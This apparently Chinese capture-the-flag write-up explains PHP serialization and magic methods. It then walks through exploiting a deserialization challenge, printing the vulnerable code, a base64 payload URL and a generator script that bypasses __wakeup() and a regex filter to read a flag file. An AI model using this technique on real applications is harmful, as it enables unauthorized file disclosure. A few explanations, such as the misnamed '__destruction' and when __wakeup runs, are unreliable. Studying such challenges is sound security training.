什么是序列化?
内容进行流化,流的概念这里不用多说(就是I/O)。我们可以对流化后的对象进行读写操作,也可将流化后的对象传输于网络之间在对对象流进行读写操作时会引发一些问题,而序列化机制正是用来解决这些问题的! 注:要想将对象传输于网络必须进行流化!
我对序列化的理解
序列化是将变量进行加工后变成字符串便于传输和持久保存,它常用于对象的处理,对象和序列化是两种不同的状态,可以通过serialize()和unserialize()互相转化。 对象序列化后的格式: O:对象名长度:“对象名”:数据成员个数:{数据成员} eg:O:11:“SampleClass”:1:{s:5:“value”;r:1;}
PHP中常见魔法函数
__construct():创建对象时初始化 __destruction():结束时销毁对象 __toString():对象被当作字符串时使用 __sleep():序列化对象之前调用 __wakeup():反序列化之前调用 __call():调用对象不存在时使用 __get():调用私有属性时使用 在调用序列化函数serialize()时先会检查是否存在__sleep()函数,它可以控制序列化的内容。 在调用unserialize()是会先检查是否存在__wakeup()函数,它可以控制反序列化的内容。
PHP反序列化漏洞
利用条件 unserialize()函数的参数可控 有可利用的其他魔法函数。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
通过代码审计,首先看到flag在fl4g.php里面,就需要执行highlight_file(fl4g.php),然后还要绕过__wakeup(),就是让成员属性数目大于实际数目,然后要执行unserialize()函数,还要绕过preg_match(),可以它过滤的是(o/c/O/C):(多个数字):所以绕过的技巧技巧就是在数字前加一个+号,不改变其意义。 所以最后的payload:
http://111.200.241.244:55956/var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
下面附上脚本
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");
$str=serialize($a);
echo $str.'<br>';
$str=str_replace("O:4:","O:+4:",$str);
$str=str_replace(":1:",":2:",$str);
echo base64_encode($str);
?>
反思与总结
1、正则表达式的绕过 我最开始以为这个正则绕过会比较难,百度了一下有什么换行绕过,截断绕过,异或绕过。。。。。,结果后来才发现原来是我正则没看懂,呜呜呜,准备后面花时间系统学一下正则表达式。 2、序列化后的Demofile长度为什么是10,而不是8 这个让我纠结了好久,最后才注意到是数据成员的权限不同,为了区别不同权限的数据成员,使用了不同的标识符。
- public无标记,变量名不变,长度不变 eg:s:2:“op”;i:2;
- protected在变量名前添加标记\00*\00,长度+3 eg:s:5:"\00*\00op";i:2;
- private在变量名前添加标记\00(classname)\00,长度+2 eg:s:17:"\00FileHandler_Z\00op";i:2;
|